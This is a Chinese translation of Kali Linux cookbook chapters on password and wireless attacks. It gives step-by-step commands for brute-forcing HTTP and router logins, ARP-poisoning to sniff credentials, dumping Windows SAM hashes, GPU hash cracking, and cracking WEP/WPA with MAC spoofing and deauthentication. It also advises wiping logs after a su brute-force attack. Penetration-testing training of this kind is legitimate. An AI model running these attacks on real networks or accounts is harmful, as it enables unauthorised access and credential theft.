5. 最后我们点击`Start`(开始)标签页的`Start`按钮来启动攻击。 47 | 48 | ![](img/8-1-5.jpg) 49 | 50 | ### 工作原理 51 | 52 | 这个秘籍中,我们使用 Hydra 来对目标执行字典攻击。Hydra 允许我们指定目标,并且使用用户名和密码列表。它会通过使用来自两个列表的不同用户名和密码组合来爆破密码。 53 | 54 | ## 8.2 破解 HTTP 密码 55 | 56 | 这个秘籍中,我们将要使用 Hydra 密码破解器来破解 HTTP 密码。网站和 Web 应用的访问通常由用户名和密码组合来控制。就像任何密码类型那样,用户通常会输入弱密码。 57 | 58 | ### 准备 59 | 60 | 需要内部网络或互联网的链接,也需要一台用作受害者的计算机。 61 | 62 | ### 操作步骤 63 | 64 | 让我们开始破解 HTTP 密码。 65 | 66 | 1. 在开始菜单中,选择` Applications | Kali Linux | Password Attacks | Online Attacks | hydra-gtk`。 67 | 68 | ![](img/8-2-1.jpg) 69 | 70 | 2. 既然我们已经把 Hydra 打开了,我们需要设置我们的单词列表。点击`Passwords`(密码)标签页。我们需要使用用户名列表和密码列表。输入你的用户名和密码列表的位置。同时选择` Loop around users `(循环使用用户名)和` Try empty password`(尝试空密码)。 71 | 72 | + 用户名列表:`/usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/names/nameslist.txt` 73 | + 密码列表:`/usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/passwds/john.txt` 74 | 75 | > 你可以使用的快捷方式是,点击单词列表框来打开文件系统窗口。 76 | 77 | ![](img/8-2-2.jpg) 78 | 79 | 3. 下面,我们要做一些调整。在`Performance Options`(执行选项)下面,我们将任务数量从 16 设置为 2。原因是我们不打算让这么多进程运行,这样会使服务器崩溃。虽然它是可选的,我们也希望选择`Exit after first found pair `(在首次发现匹配之后退出)选项。 80 | 81 | ![](img/8-2-3.jpg) 82 | 83 | 4. 最后,我们要设置我们的目标。点击`Target`(目标)标签页并设置我们的目标和协议。这里,我们使用 Metasploitable 主机(`192.168.10.111`)的 HTTP 端口。 84 | 85 | ![](img/8-2-4.jpg) 86 | 87 | 5. 最后我们点击`Start`(开始)标签页的`Start`按钮来启动攻击。 88 | 89 | ![](img/8-2-5.jpg) 90 | 91 | ## 8.3 获得路由访问 92 | 93 | 这个秘籍中,我们会使用 Medusa 来进行爆破攻击。 94 | 95 | 当今,我们处于网络社会之中。随着联网视频游戏系统的诞生,多数家庭拥有数台计算机,并且小型业务以创纪录的趋势增长。路由器也成为了网络连接的基石。然而,富有经验的网络管理员的数量并没有增长,以保护这些路由器,使得许多这种路由器易于被攻击。 96 | 97 | ### 准备 98 | 99 | 需要连接到互联网或内部网络的计算机。也需要可用的路由器。 100 | 101 | ### 操作步骤 102 | 103 | 1. 在开始菜单中,访问` Applications | Kali Linux | Password Attacks | Online Attacks | medusa`。当 Medusa 启动后,它会加载`help`(帮助)文件。 104 | 105 | ![](img/8-3-1.jpg) 106 | 107 | 2. 我们现在已选定的选项来云顶 Medusa。 108 | 109 | ``` 110 | medusa –M http -h 192.168.10.1 -u admin -P /usr/share/wfuzz/ wordlist/fuzzdb/wordlists-user-passwd/passwds/john.txt -e ns -n 80 -F 111 | ``` 112 | 113 | + `-M http`允许我们指定模块。这里,我们选择了 HTTP 模块。 114 | 115 | + `-h 192.168.10.1`允许我们指定主机。这里,我们选择了`192.168.10.1`(路由的 IP 地址)。 116 | 117 | + `-u admin`允许我们指定用户。这里我们选择了`admin`。 118 | 119 | + `-P [location of password list]`允许我们指定密码列表的位置。 120 | 121 | + `-e ns`允许我们指定额外的密码检查。`ns`变量允许我们使用用户名作为密码,并且使用空密码。 122 | 123 | + `-n 80`允许我们指定端口号码。这里我们选择了`80`。 124 | 125 | + `-F`允许我们在成功找到用户名密码组合之后停止爆破。 126 | 127 | ![](img/8-3-2.jpg) 128 | 129 | 3. Medusa 会运行,并尝试所有用户名和密码组合,直到某次成功。 130 | 131 | ### 工作原理 132 | 133 | 这个秘籍中,我们使用 Medusa 来爆破目标路由器的密码。能够这样做的好处就是,一旦你能够访问路由器,你就可以更新它的设置,便于你以后再访问它,或者甚至是重定向发送给它的流量来改变你选择的位置。 134 | 135 | ### 更多 136 | 137 | 你也可以直接从命令行运行 Medusa,通过键入`medusa`命令。 138 | 139 | 你也可以传入其它选项给 Medusa,取决于你的情况。细节请参见帮助文档,通过在终端窗口仅仅键入`medusa`来显示。 140 | 141 | **模块类型** 142 | 143 | 下面是我们可以用于 Medusa 的模块列表: 144 | 145 | + AFP 146 | + CVS 147 | + FTP 148 | + HTTP 149 | + IMAP 150 | + MS-SQL 151 | + MySQL 152 | + NetWare 153 | + NNTP 154 | + PCAnywhere 155 | + Pop3 156 | + PostgreSQL 157 | + REXEC 158 | + RLOGIN 159 | + RSH 160 | + SMBNT 161 | + SMTP-AUTH 162 | + SMTp-VRFY 163 | + SNMP 164 | + SSHv2 165 | + Subversion 166 | + Telnet 167 | + VMware Authentication 168 | + VNC 169 | + Generic Wrapper 170 | + Web form 171 | 172 | ## 8.4 密码分析 173 | 174 | 这个秘籍中,我们会学到如何在密码攻击之前分析密码。密码分析的目的是允许我们通过收集目标机器、业务以及其它的信息来得到更小的单词列表。在我们的教程中,我们会使用 Ettercap 和 它的 ARP 毒化功能来嗅探流量。 175 | 176 | ### 准备 177 | 178 | 这个秘籍需要局域网的连接。 179 | 180 | ### 操作步骤 181 | 182 | 让我们启动 Ettercap 来进行密码分析。 183 | 184 | 1. 我们以配置 Ettercap 来开始这个秘籍。首先,我们找到它的配置文件并用 VIM 编辑它。 185 | 186 | ``` 187 | locate etter.conf 188 | vi /etc/etterconf 189 | ``` 190 | 191 | 要注意,你的位置可能不同。 192 | 193 | 2. 将`ec_uid`和`ec_gid`改为`0`。 194 | 195 | ![](img/8-4-1.jpg) 196 | 197 | 3. 下面我们需要取消下面的 IPTABLES 行的注释。它在靠近文件末尾的` LINUX `一节。 198 | 199 | ![](img/8-4-2.jpg) 200 | 201 | 4. 现在,我们将要启动 Ettercap。使用`-G`选项,加载图形化界面(GUI)。 202 | 203 | ![](img/8-4-3.jpg) 204 | 205 | 5. 我们开启统一嗅探。你可以按下`Shift + U`或者访问菜单栏中的`Sniff | Unified sniffing...`。 206 | 207 | ![](img/8-4-4.jpg) 208 | 209 | 6. 选择网络接口。 210 | 211 | ![](img/8-4-5.jpg) 212 | 213 | 7. 下面,我们开始`Scan for hosts`(扫描主机),这可以通过按下`Ctrl + S`或访问菜单栏的`Hosts | Scan for hosts`来完成。 214 | 215 | ![](img/8-4-6.jpg) 216 | 217 | 8. 现在我们能够让 Ettercap 开始嗅探了。你可以按下`Ctrl + W`或访问菜单栏的`Start | Start Sniffing`(开始嗅探)。 218 | 219 | ![](img/8-4-7.jpg) 220 | 221 | 9. 最后,我们开始进行 ARP 毒化。访问菜单栏的`Mitm | Arp poisoning`(ARP 毒化)。 222 | 223 | ![](img/8-4-8.jpg) 224 | 225 | 0. 在出现的窗口中,选中`Sniff remote connections`(嗅探远程连接)的选项。 226 | 227 | ![](img/8-4-9.jpg) 228 | 229 | 1. 取决于网络情况,我们会看到信息。 230 | 231 | ![](img/8-4-10.jpg) 232 | 233 | 2. 一旦我们找到了我们想找的信息(用户名和密码)。我们会关闭 Ettercap。你可以按下`Ctrl + E`或者访问菜单栏的` Start | Stop sniffing`(停止嗅探)来完成。 234 | 235 | ![](img/8-4-11.jpg) 236 | 237 | 3. 现在我们需要关闭 ARP 毒化来使网络恢复正常。 238 | 239 | ![](img/8-4-12.jpg) 240 | 241 | ### 工作原理 242 | 243 | 这个秘籍中,我们使用 Ettercap 来毒化网络并偷取网络上的用户名和密码。我们以寻找和修改 Ettercap 的配置文件来开始。之后我们启动了 Ettercap 并使用 ARP 毒化执行中间人(MITM)攻击。由于流量被重定向到我们的主机,当用户名和密码在网络上传播时,我们就能够看到它们。 244 | 245 | ### 更多 246 | 247 | 我们也可以使用 Metasploit 来分析用户名和面。我们会通过使用搜索邮件收集器模块来执行它。 248 | 249 | 1. 打开终端窗口并启动 MSFCONSOLE: 250 | 251 | ``` 252 | msfconsole 253 | ``` 254 | 255 | 2. 搜索邮件收集器; 256 | 257 | ``` 258 | search email collector 259 | ``` 260 | 261 | ![](img/8-4-13.jpg) 262 | 263 | 3. 键入下列命令来使用搜索邮件收集器模块: 264 | 265 | ``` 266 | use auxiliary/gather/search_email_collector 267 | ``` 268 | 269 | 4. 展示该模块可用的选项: 270 | 271 | ``` 272 | show options 273 | ``` 274 | 275 | ![](img/8-4-14.jpg) 276 | 277 | 5. 下面我们设置域名。如果不想被有关部门查水表的话,请小心选择域名。 278 | 279 | 6. 将域名设为你希望的域名: 280 | 281 | ``` 282 | set domain gmail.com 283 | ``` 284 | 285 | 7. 设置输入文件。这并不是必需的。如果你打算运行多个攻击,或打算稍后也能运行某个攻击,推荐设置它。 286 | 287 | ``` 288 | set outfile /root/Desktop/fromwillie.txt 289 | ``` 290 | 291 | ![](img/8-4-15.jpg) 292 | 293 | 8. 最后,我们开始攻击。 294 | 295 | ``` 296 | run 297 | ``` 298 | 299 | ![](img/8-4-16.jpg) 300 | 301 | ## 8.5 使用 John the Ripper 破解 Windows 密码 302 | 303 | 这个秘籍中,我们会使用 John the Ripper 来破解 Windows 安全访问管理器(SAM)文件。SAM文件储存了目标系统用户的用户名和密码的哈希。出于安全因素,SAM文件使用授权来保护,并且不能在 Windows 系统运行中直接手动打开或复制。 304 | 305 | ### 准备 306 | 307 | 你将会需要访问 SAM 文件。 308 | 309 | 这个秘籍中,我们假设你能够访问某台 Windows 主机。 310 | 311 | ### 操作步骤 312 | 313 | 让我们开始使用 John the Ripper 破解 Windows SAM 文件。我们假设你能够访问某台 Windows 主机,通过远程入侵,或者物理接触,并且能够通过 USB 或 DVD 驱动器启动 Kali Linux。 314 | 315 | 1. 看看你想挂载哪个硬盘: 316 | 317 | ``` 318 | Fdisk -l 319 | ``` 320 | 321 | 2. 挂载该硬盘,并将`target`设为它的挂载点。 322 | 323 | ``` 324 | mount /dev/sda1 /target/ 325 | ``` 326 | 327 | 3. 将目录改为 Windows SAM 文件的位置: 328 | 329 | ``` 330 | cd /target/windows/system32/config 331 | ``` 332 | 333 | 4. 列出目录中所有内容。 334 | 335 | ``` 336 | ls –al 337 | ``` 338 | 339 | 5. 使用 SamDump2 来提取哈希,并将文件放到你的 root 用户目录中的一个叫做`hashes`的文件夹中。 340 | 341 | ``` 342 | samdump2 system SAM > /root/hashes/hash.txt 343 | ``` 344 | 345 | 6. 将目录改为 John the Ripper 所在目录。 346 | 347 | 7. 运行 John the Ripper: 348 | 349 | ``` 350 | ./john /root/hashes/hash.txt 351 | ./john /root/hashes/hash.txt–f:nt (If attacking a file on a NTFS System) 352 | ``` 353 | 354 | ## 8.6 字典攻击 355 | 356 | 这个秘籍中,我们会进行字典或单词列表的攻击。字典攻击使用事先准备的密码集合,并尝试使用单词列表爆破与指定用户匹配的密码。所生成的字典通常由三种类型: 357 | 358 | + 只有用户名:列表只含有用户名。 359 | + 只有密码:列表只含有密码。 360 | + 用户名和密码:列表含有生成的用户名和密码。 361 | 362 | 出于演示目的,我们使用 Crucnch 来生成我们自己的密码字典。 363 | 364 | ### 准备 365 | 366 | 需要在 Kali 上安装 Crunch。 367 | 368 | ### 操作步骤 369 | 370 | Kali 的好处是已经安装了 Crunch,不像 BackTrack。 371 | 372 | 1. 打开终端窗口,并输入`crunch`命令来查看 Crunch 的帮助文件。 373 | 374 | ``` 375 | crunch 376 | ``` 377 | 378 | ![](img/8-6-1.jpg) 379 | 380 | 2. 使用 Crunch 生成密码的基本语法是,`[minimum length] [maximum length] [character set] [options] `。 381 | 382 | 3. Crunch 拥有几种备选选项。一些常用的如下: 383 | 384 | + `-o`:这个选项允许你指定输出列表的文件名称和位置、 385 | 386 | + `-b`:这个选项允许你指定每个文件的最大字节数。大小可以以 KB/MB/GB 来指定,并且必须和`-o START`触发器一起使用。 387 | 388 | + `-t`:这个选项允许你指定所使用的模式。 389 | 390 | + `-l`:在使用`-t`选项时,这个选项允许你将一些字符标识为占位符(`@`,`%`,`^`)。 391 | 392 | 4. 下面我们执行命令来在桌面上创建密码列表,它最少 8 个字母,最大 10 个字符,并且使用字符集`ABCDEFGabcdefg0123456789`。 393 | 394 | ``` 395 | crunch 8 10 ABCDEFGabcdefg0123456789 –o /root/Desktop/ generatedCrunch.txt 396 | ``` 397 | 398 | ![](img/8-6-2.jpg) 399 | 400 | 5. 一旦生成了文件,我们使用 Nano 来打开文件: 401 | 402 | ``` 403 | nano /root/Desktop/generatedCrunch.txt 404 | ``` 405 | 406 | ### 工作原理 407 | 408 | 这个秘籍中我们使用了 Crunch 来生成密码字典列表。 409 | 410 | ## 8.7 使用彩虹表 411 | 412 | 这个秘籍中我们会学到如何在 Kali 中使用彩虹表。彩虹表是特殊字典表,它使用哈希值代替了标准的字典密码来完成攻击。出于演示目的,我们使用 RainbowCrack 来生成彩虹表。 413 | 414 | ### 操作步骤 415 | 416 | 1. 打开终端窗口并将目录改为`rtgen`的目录: 417 | 418 | ``` 419 | cd /usr/share/rainbowcrack/ 420 | ``` 421 | 422 | ![](img/8-7-1.jpg) 423 | 424 | 2. 下面我们要启动`rtgen`来生成基于 MD5 的彩虹表。 425 | 426 | ``` 427 | ./rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0 428 | ``` 429 | 430 | ![](img/8-7-2.jpg) 431 | 432 | 3. 一旦彩虹表生成完毕,你的目录会包含`.rt`文件。这取决于用于生成哈希的处理器数量,大约需要 2~7 个小时。 433 | 434 | 4. 为了开始破解密码,我们使用`rtsort`程序对彩虹表排序,使其更加易于使用。 435 | 436 | ### 工作原理 437 | 438 | 这个秘籍中,我们使用了 RainbowCrack 攻击来生成、排序和破解 MD5 密码。RainbowCrack 能够使用彩虹表破解哈希,基于一些预先准备的哈希值。我们以使用小写字母值生成 MD5 彩虹表来开始。在秘籍的末尾,我们成功创建了彩虹表,并使用它来破解哈希文件。 439 | 440 | ## 8.8 使用英伟达统一计算设备架构(CUDA) 441 | 442 | 这个秘籍中,我们会使用英伟达统一计算设备架构(CUDA)来破解密码哈希。CUDA 是一个并行计算平台,它通过利用 GPU 的能力来提升计算性能。随着时间的流逝,GPU 的处理能力有了戏剧性的提升,这让我们能够将它用于计算目的。出于演示目的,我们使用 CudaHashcat-plus 来破解密码。 443 | 444 | ### 准备 445 | 446 | 需要 CUDA 所支持的显卡来完成这个秘籍。 447 | 448 | ### 操作步骤 449 | 450 | 1. 打开终端窗口并将目录改为 OclHashcat-plus 所在目录。 451 | 452 | ``` 453 | cd /usr/share/oclhashcat-plus 454 | ``` 455 | 456 | ![](img/8-8-1.jpg) 457 | 458 | 2. 执行下列命令来启动 CudaHashcat-plus 的帮助文件: 459 | 460 | ``` 461 | ./cudaHashcat-plus.bin –help 462 | ``` 463 | 464 | 3. 运行 CudaHashcat 的语法是`cudaHashcat-plus.bin [options] hash [mask]`。 465 | 466 | > 使用 OclHashcat 的重点之一是理解它的字符集结构。 467 | 468 | 4. 在我们开始攻击之前,让我们先看看一些可用的攻击向量。CudaHashcat 在攻击中使用左右掩码。密码的字符按照掩码划分,并且被均分为左和右掩码。对于每个掩码,你可以为其指定字典或字符集。出于我们的目的,我们会使用定制的字符集。 469 | 470 | 5. 为了指定自定义字符集,我们使用`–1`选项。我们可以设置任意多的自定义字符集,只要为它们指定一个数值(`1-n`)。每个自定义字符都由问号(`?`)来表示,并且随后是字符类型。可用的选择是: 471 | 472 | + `d`指定数字(0~9) 473 | + `l`指定小写字母 474 | + `u`指定大写字母 475 | + `s`指定特殊字符 476 | + `1-n`指定用做占位符的自定义字符集。 477 | 478 | 6. 这样将它们组合起来,我们就指定了一个自定义字符集,它包括特殊字符(`s`),大写字母(`u`),小写字母(`l`)和数字(`d`),生成长度为 8 的密码。我们打算指定叫做`attackfile`的哈希表。 479 | 480 | ``` 481 | ./cudaHashcat-plus.bin attackfile -1 ?l?u?d?s ?1?1?1?1 ?1?1?1?1 482 | ``` 483 | 484 | 7. 我们可以将这个命令这样拆分: 485 | 486 | + ` ./cudaHashcat-plus.bin `调用了 CudaHashcat 。 487 | 488 | + `attackfile`是我们的攻击文件。 489 | 490 | + `-1 ?l?u?d?`指定了自定义字符集`1`,它包含小写字母、大写字母、数字和特殊字符。 491 | 492 | + `?1?1?1?1`是使用字符集`1`的左掩码。 493 | 494 | + `?1?1?1?1`是使用字符集`1`的右掩码。 495 | 496 | 这就结束了。 497 | 498 | ## 8.9 使用 ATI Stream 499 | 500 | 这个秘籍中,我们会使用 ATI Stream 来破解密码哈希。ATI Stream 类似于 CUDA,因为它是一个并行计算平台,它可以通过利用 GPU 的能力来提升计算性能。随着时间的流逝,GPU 的处理能力有了戏剧性的提升,这让我们能够将它用于计算目的。出于演示目的,我们使用 OclHashcat-plus 来破解密码。OclHashcat 有两种版本:plus 和 lite。两个都包含在 Kali 中。 501 | 502 | ### 准备 503 | 504 | 需要支持 ATI Stream 的显卡来完成这个秘籍。 505 | 506 | ### 操作步骤 507 | 508 | 让我们开始使用 OclHashcat-plus。 509 | 510 | 1. 打开终端窗口并将目录改为 OclHashcat-plus 所在目录。 511 | 512 | ``` 513 | cd /usr/share/oclhashcat-plus 514 | ``` 515 | 516 | ![](img/8-9-1.jpg) 517 | 518 | 2. 执行下列命令来启动 OclHashcat-plus 的帮助文件: 519 | 520 | ``` 521 | ./oclHashcat-plus.bin –help 522 | ``` 523 | 524 | 3. 运行 OclHashcat 的语法是`oclHashcat-plus.bin [options] hash [mask]`。 525 | 526 | > 使用 OclHashcat 的重点之一是理解它的字符集结构。 527 | 528 | 4. 在我们开始攻击之前,让我们先看看一些可用的攻击向量。OclHashcat 在攻击中使用左右掩码。密码的字符按照掩码划分,并且被均分为左和右掩码。对于每个掩码,你可以为其指定字典或字符集。出于我们的目的,我们会使用定制的字符集。 529 | 530 | 5. 为了指定自定义字符集,我们使用`–1`选项。我们可以设置任意多的自定义字符集,只要为它们指定一个数值(`1-n`)。每个自定义字符都由问号(`?`)来表示,并且随后是字符类型。可用的选择是: 531 | 532 | + `d`指定数字(0~9) 533 | + `l`指定小写字母 534 | + `u`指定大写字母 535 | + `s`指定特殊字符 536 | + `1-n`指定用做占位符的自定义字符集。 537 | 538 | 6. 这样将它们组合起来,我们就指定了一个自定义字符集,它包括特殊字符(`s`),大写字母(`u`),小写字母(`l`)和数字(`d`),生成长度为 8 的密码。我们打算指定叫做`attackfile`的哈希表。 539 | 540 | ``` 541 | ./oclHashcat-plus.bin attackfile -1 ?l?u?d?s ?1?1?1?1 ?1?1?1?1 542 | ``` 543 | 544 | 7. 我们可以将这个命令这样拆分: 545 | 546 | + ` ./oclHashcat-plus.bin `调用了 OclHashcat 。 547 | 548 | + `attackfile`是我们的攻击文件。 549 | 550 | + `-1 ?l?u?d?`指定了自定义字符集`1`,它包含小写字母、大写字母、数字和特殊字符。 551 | 552 | + `?1?1?1?1`是使用字符集`1`的左掩码。 553 | 554 | + `?1?1?1?1`是使用字符集`1`的右掩码。 555 | 556 | 这就结束了。 557 | 558 | ## 8.10 物理访问攻击 559 | 560 | 这个秘籍中,我们会使用 SUCrack 来执行物理访问密码攻击。 SUCrack 是个多线程的工具,能够通过`su`来执行本地用户账户的暴力破解。Linux 的`su`命令允许你作为替代用户来运行命令。这个攻击,虽然在你不能通过其他手段提权 Linux 系统时非常有用,但是会填满日志文件,所以请确保在完成之后清理这些日志。 561 | 562 | SUCrack 拥有几种备选的可用命令: 563 | 564 | + `--help`允许你查看它的帮助文档。 565 | 566 | + `-l`允许你修改我们尝试绕过登录的用户。 567 | 568 | + `-s`允许你设置展示统计信息的秒数间隔。默认值为 3 秒。 569 | 570 | + `-a`允许你设置是否使用 ANSI 转义代码。 571 | 572 | + `-w`允许你设置工作线程的数量。由于 SUCrack 是多线程的,你可以运行任意多的线程。我们推荐你只使用一个线程,因为每次失败的登录尝试在尝试下个密码之前通常有三秒的延迟。 573 | 574 | ### 操作步骤 575 | 576 | 1. 为了使用 SUCrack,你需要在启动时指定单词列表。否则,你会得到一条搞笑的信息。打开终端窗口并执行`sucrack`命令。出于我们的目的,我们会使用之前创建的自定义单词列表文件,它由 Crunch 生成。但是,你可以指定任何希望的单词列表。 577 | 578 | ``` 579 | sucrack /usr/share/wordlists/rockyou.txt 580 | ``` 581 | 582 | 2. 如果你打算设置两个工作线程,以及每 6 秒显示一次统计信息,并且使用 ANSI 转义代码,你可以使用下列命令: 583 | 584 | ``` 585 | sucrack –w 2 –s 6 –a /usr/share/wordlists/rockyou.txt 586 | ``` 587 | 588 | 这就结束了。 589 | 590 | ### 工作原理 591 | 592 | 这个秘籍中,我们使用 SUCrack 来对系统的 root 用户执行物理访问密码攻击。使用单词列表的攻击可以对管理员(默认)或特定用户指定。我们运行`sucrack`命令,它为我们执行攻击。 593 | -------------------------------------------------------------------------------- /ch9.md: -------------------------------------------------------------------------------- 1 | # 第九章 无线攻击 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 当今,无线网络随处可见。由于用户四处奔走,插入以太网网线来获取互联网访问的方式非常不方便。无线网络为了使用便利要付出一些代价;它并不像以太网连接那样安全。这一章中,我们会探索多种方式来操纵无线网络流量,这包括移动电话和无线网络。 12 | 13 | ### 9.1 WEP 无线网络破解 14 | 15 | WEP(无线等效协议)于 1999 年诞生,并且是用于无线网络的最古老的安全标准。在 2003 年,WEP 被 WPA 以及之后被 WPA2 取代。由于可以使用更加安全的协议,WEP 加密很少使用了。实际上,推荐你永远不要使用 WEP 加密来保护你的网络。有许多已知的方式来攻击 WEP 加密,并且我们在这个秘籍中会探索这些方式之一。 16 | 17 | 这个秘籍中,我们会使用 AirCrack 套件来破解 WEP 密码。 AirCrack 套件(或 AirCrack NG)是 WEP 和 WPA 密码破解程序,它会抓取无线网络封包,分析它们,使用这些数据来破解 WEP 密码。 18 | 19 | ### 准备 20 | 21 | 为了执行这个秘籍中的任务,需要Kali 终端窗口的经验。也需要受支持的配置好的无线网卡,用于封包注入。在无线网卡的例子中,封包注入涉及到发送封包,或将它注入到双方已经建立的连接中。请确保你的无线网卡允许封包注入,因为并不是所有无线网卡都支持它。 22 | 23 | ### 操作步骤 24 | 25 | 让我们开始使用 AirCrack 来破解WEP 加密的网络会话。 26 | 27 | 1. 打开终端窗口,并产生无线网络接口的列表: 28 | 29 | ``` 30 | airmon-ng 31 | ``` 32 | 33 | ![](img/9-1-1.jpg) 34 | 35 | 2. 在`interface`列下,选择你的接口之一。这里,我们使用`wlan0`。如果你的接口不同,例如`mon0`,请将每个提到`wlan0`的地方都换成它。 36 | 37 | 3. 下面,我们需要停止`wlan0`接口,并把它关闭,便于我们接下来修改 MAC 地址。 38 | 39 | ``` 40 | airmon-ng stop 41 | ifconfig wlan0 down 42 | ``` 43 | 44 | 4. 下面,我们需要修改我们接口的 MAC 地址。由于机器的 MAC 地址会在任何网络上标识你的存在,修改机器的标识允许我们隐藏真正的 MAC 地址。这里,我们使用`00:11:22:33:44:55`。 45 | 46 | ``` 47 | macchanger --mac 00:11:22:33:44:55 wlan0 48 | ``` 49 | 50 | 5. 现在我们需要重启` airmon-ng`。 51 | 52 | ``` 53 | airmon-ng start wlan0 54 | ``` 55 | 56 | 6. 下面,我们会使用` airodump`来定位附近的可用无线网络。 57 | 58 | ``` 59 | airodump-ng wlan0 60 | ``` 61 | 62 | 7. 这会出现可用无线网络的列表。一旦你找到了你想要攻击的网络,按下`Ctrl + C`来停止搜索。选中`BSSID`列中的 MAC 地址,右击你的鼠标,并且选择复制。同时,把网络正在发送哪个频道的信号记录下载。你会在`Channel`列中找到这个信息。这里,这个频道是`10`。 63 | 64 | 8. 现在运行`airodump`,并且将所选`BSSID`的信息复制到文件中。我们会使用下列选项: 65 | 66 | + `-c`允许我们选择频道。这里我们选择`10`。 67 | 68 | + `-w`允许我们选择文件名称。这里我们选择`wirelessattack`。 69 | 70 | + `-bssid`允许我们选择我们的`BSSID`。这里,我们从剪贴板上粘贴`09:AC:90:AB:78`。 71 | 72 | ``` 73 | airodump-ng –c 10 –w wirelessattack --bssid 09:AC:90:AB:78 wlan0 74 | ``` 75 | 76 | 9. 新的窗口会打开,并展示这个命令的输出。保持这个窗口开着。 77 | 78 | 0. 打开另一个终端窗口,为了尝试组合它们,我们运行`aireplay`。它拥有下列语法:`aireplay-ng -1 0 –a [BSSID] –h [our chosen MAC address] –e [ESSID] [Interface]`。 79 | 80 | ``` 81 | aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 00:11:22:33:44:55 –e backtrack wlan0 82 | ``` 83 | 84 | 1. 下面,我们发送一些流量给路由器,便于捕获一些数据。我们再次使用`aireplay`,以下列格式:` aireplay-ng -3 –b [BSSID] – h [Our chosen MAC address] [Interface]`。 85 | 86 | ``` 87 | aireplay-ng -3 –b 09:AC:90:AB:78 –h 00:11:22:33:44:55 wlan0 88 | ``` 89 | 90 | 2. 你的屏幕会开始被流量填满。将它运行一到两分钟,直到你拥有了用来执行破解的信息。 91 | 92 | 3. 最后我们运行 AirCrack 来破解 WEP 密码。 93 | 94 | ``` 95 | aircrack-ng –b 09:AC:90:AB:78 wirelessattack.cap 96 | ``` 97 | 98 | 这就结束了。 99 | 100 | ### 工作原理 101 | 102 | 在这个秘籍中,我们使用了 AirCrack 套件来破解无线网络的 WEP 密码。AirCrack 是最流行的 WEP 破解工具之一。AirCrack 通过收集 WEP 无线连接的封包来工作,之后它会通过算术分析数据来破解 WEP 加密密码。我们通过启动 AirCrack 并选择我们想要的接口来开始。下面,我们修改了 MAC 地址,这允许我们修改互联网上的身份,之后使用`airodump`搜索可用的无线网络来攻击。一旦我们找到了打算攻击的网络,我们使用`aireplay`来将我们的机器与正在攻击的无线设备的 MAC 地址关联。我们最后收集到了一些流量,之后暴力破解生成的 CAP 文件来获得无线密码。 103 | 104 | ## 5.2 WPA/WPA2 无线网络破解 105 | 106 | WPA(无线保护访问)于 2003 年诞生,并且为保护无线网络和取代过时的旧标准 WEP 而创建。WEP 被 WPA 以及之后的 WPA2 代替。由于存在更加安全的协议,WEP 很少使用了。 107 | 108 | 这个秘籍中,我们会使用 AirCrack 套件来破解 WPA 密码。 AirCrack 套件(或 AirCrack NG)是 WEP 和 WPA 密码破解程序,它抓取网络封包,分析它们,并使用这些数据破解 WPA 密码。 109 | 110 | ### 准备 111 | 112 | 为了执行这个秘籍中的任务,需要Kali 终端窗口的经验。也需要受支持的配置好的无线网卡,用于封包注入。在无线网卡的例子中,封包注入涉及到发送封包,或将它注入到双方已经建立的连接中。 113 | 114 | ### 操作步骤 115 | 116 | 让我们开始使用 AirCrack 来破解WEP 加密的网络会话。 117 | 118 | 1. 打开终端窗口,并产生无线网络接口的列表: 119 | 120 | ``` 121 | airmon-ng 122 | ``` 123 | 124 | ![](img/9-2-1.jpg) 125 | 126 | 2. 在`interface`列下,选择你的接口之一。这里,我们使用`wlan0`。如果你的接口不同,例如`mon0`,请将每个提到`wlan0`的地方都换成它。 127 | 128 | 3. 下面,我们需要停止`wlan0`接口,并把它关闭,便于我们接下来修改 MAC 地址。 129 | 130 | ``` 131 | airmon-ng stop 132 | ifconfig wlan0 down 133 | ``` 134 | 135 | 4. 下面,我们需要修改我们接口的 MAC 地址。由于机器的 MAC 地址会在任何网络上标识你的存在,修改机器的标识允许我们隐藏真正的 MAC 地址。这里,我们使用`00:11:22:33:44:55`。 136 | 137 | ``` 138 | macchanger --mac 00:11:22:33:44:55 wlan0 139 | ``` 140 | 141 | 5. 现在我们需要重启` airmon-ng`。 142 | 143 | ``` 144 | airmon-ng start wlan0 145 | ``` 146 | 147 | 6. 下面,我们会使用` airodump`来定位附近的可用无线网络。 148 | 149 | ``` 150 | airodump-ng wlan0 151 | ``` 152 | 153 | 7. 这会出现可用无线网络的列表。一旦你找到了你想要攻击的网络,按下`Ctrl + C`来停止搜索。选中`BSSID`列中的 MAC 地址,右击你的鼠标,并且选择复制。同时,把网络正在发送哪个频道的信号记录下载。你会在`Channel`列中找到这个信息。这里,这个频道是`10`。 154 | 155 | 8. 现在运行`airodump`,并且将所选`BSSID`的信息复制到文件中。我们会使用下列选项: 156 | 157 | + `-c`允许我们选择频道。这里我们选择`10`。 158 | 159 | + `-w`允许我们选择文件名称。这里我们选择`wirelessattack`。 160 | 161 | + `-bssid`允许我们选择我们的`BSSID`。这里,我们从剪贴板上粘贴`09:AC:90:AB:78`。 162 | 163 | ``` 164 | airodump-ng –c 10 –w wirelessattack --bssid 09:AC:90:AB:78 wlan0 165 | ``` 166 | 167 | 9. 新的窗口会打开,并展示这个命令的输出。保持这个窗口开着。 168 | 169 | 0. 打开另一个终端窗口,为了尝试组合它们,我们运行`aireplay`。它拥有下列语法:`aireplay-ng -1 0 –a [BSSID] –h [our chosen MAC address] –e [ESSID] [Interface]`。 170 | 171 | ``` 172 | Aireplay-ng --deauth 1 –a 09:AC:90:AB:78 –c 00:11:22:33:44:55 wlan0 173 | ``` 174 | 175 | 1. 最后我们运行 AirCrack 来破解 WEP 密码。`-w`选项允许我们指定单词列表的位置。我们使用事先命名的`.cap`文件。这里,文件名称是`wirelessattack.cap`。 176 | 177 | ``` 178 | Aircrack-ng –w ./wordlist.lst wirelessattack.cap 179 | ``` 180 | 181 | 这就结束了。 182 | 183 | ### 工作原理 184 | 185 | 在这个秘籍中,我们使用了 AirCrack 套件来破解无线网络的 WPA 密码。AirCrack 是最流行的 WPA 破解工具之一。AirCrack 通过收集 WPA 无线连接的封包来工作,之后它会通过算术分析数据来破解 WPA 